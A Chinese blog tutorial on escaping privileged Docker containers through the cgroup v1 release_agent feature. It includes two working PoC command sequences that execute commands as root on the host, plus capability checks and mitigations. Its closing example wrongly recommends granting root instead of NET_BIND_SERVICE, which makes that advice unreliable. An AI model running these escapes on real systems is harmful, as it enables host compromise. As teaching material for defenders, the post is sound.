了解容器逃逸 --privileged


一個已經有些年份的話題:Docker 容器逃逸,如何從容器內發起攻擊。

Felix Wilhelm 有篇 2019 年的推文:

大佬憑借的是 --privileged。使用了 privileged flag 的容器被稱為 privileged docker(其設計初衷是讓容器應用能夠直接訪問硬件設備),PoC 通過濫用 Linux Cgroup v1 的“通知”特性從容器中啟動主機進程。

# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
 
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps >'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

privileged flag 引入了嚴重的安全問題,雖然必須依賴 Docker 容器啟動。使用 privileged flag 的容器可以訪問所有設備,並且不受 Seccomp(Secure Computing)、AppArmor(Application Armor)和 Linux 功能的限制。

0x00 危險配置

--privileged 帶來的權限甚至多於攻擊所需,實際上必要的要求有:

  • 以 root 用戶身份在容器內運行;
  • 容器使用 SYS_ADMIN Linux 功能運行;
  • 容器缺失 AppArmor 配置文件(允許掛載系統調用);
  • Cgroup v1 虛擬文件系統以可讀可寫方式掛載在容器內。

SYS_ADMIN 功能允許容器執行掛載 syscall,但這不是默認啟動的。默認情況下,Docker 啟動的容器只有一組受限的功能,並且考慮到安全風險而不啟用 SYS_ADMIN。

參考:Docker security | Docker Documentation

另外,Docker 默認情況下使用 docker ... apparmor=docker-default ... 啟動(AppArmor security profiles for Docker | Docker Documentation),這會阻止掛載系統調用,覆蓋 SYS_ADMIN。

因此,容器必須使用如下必要的危險配置來啟動:

--security-opt apparmor=unconfined --cap-add=SYS_ADMIN

0x01 Cgroups

Linux Cgroups(參考:Linux Control Groups V1 和 V2 原理和區別 | mikechengwei's Blog) 是 Docker 用來隔離容器的一種機制,上述 PoC 通過濫用 Cgroup v1 的 notify_on_release 功能全權運行漏洞。當 Cgroup 中的最后一個進程“離開”時(比如退出或被附加到另一個 Cgroup),將執行 release_agent 文件中提供的命令,目的是剔除被丟棄的 Cgroup,而且此時其具有完全的 root 權限。

因為release_agent 文件具有 root 身份,默認情況下不會使用,即 notify_on_release 功能默認關閉,且 release_agent 路徑為空。

文檔:https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt。

0x02 容器逃逸

下面嘗試一下這種容器逃逸。我們使用 --privileged 來啟動容器。

docker run --rm -it --privileged ubuntu:14.04 /bin/bash

判斷是否為容器

判斷是否處在容器內,可以查看 /proc/1/cgroup(init 進程的 Cgroup),只有在容器內才可能看到一堆容器的 ID。另外,沒有經過特意定制的容器是存在 /.dockerenv 文件的。

判斷容器是否具備所需權限

依據就是是否能夠成功運行一個需要高權限的命令。

添加虛擬接口的指令:

$ ip link add dummy0 type dummy

這個命令要求 NET_ADMIN 權限。NET_ADMIN 是 --privileged 賦予特權功能集的一部分,若不能成功執行(RTNETLINK answers: Operation not permitted),則當前容器就無法利用。

相應的刪除虛擬接口命令:

$ ip link delete dummy0

PoC

具體解釋:Understanding Docker container escapes | Trail of Bits Blog

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

流程:

  1. 第 1 行,創建一個新的 Cgroup;
  2. 第 2 行,啟用 notify_on_release;
  3. 第 3、4 行,指定新建的 Cgroup 應當使用的 release_agent 文件;
  4. 第 5、6、7 行,寫命令腳本,將 ps aux 的執行結果放入 /output 文件中,然后設置該腳本的執行權限位;
  5. 最后通過生成一個進程來觸發,這個進程在新 Cgroup 內結束,然后 release_agent 開始執行。

在宿主機上應該可以找到記錄 ps aux 輸出的文件。

使用這個 PoC 可以任意執行命令。

0x03 應對措施

Docker 的權限粒度只會越來越細,root 權限並不是一個整體,而是被划分為若干單獨的權限。默認情況下,Docker 會刪除容器的所有功能,並要求添加功能。可以使用 cap-drop 和 cap-add flag 來刪除或添加功能。

--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES

例如,需要綁定小端口(小於 1024)時,可以授予容器 root 權限,而不是 NET_BIND_SERVICE 功能。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM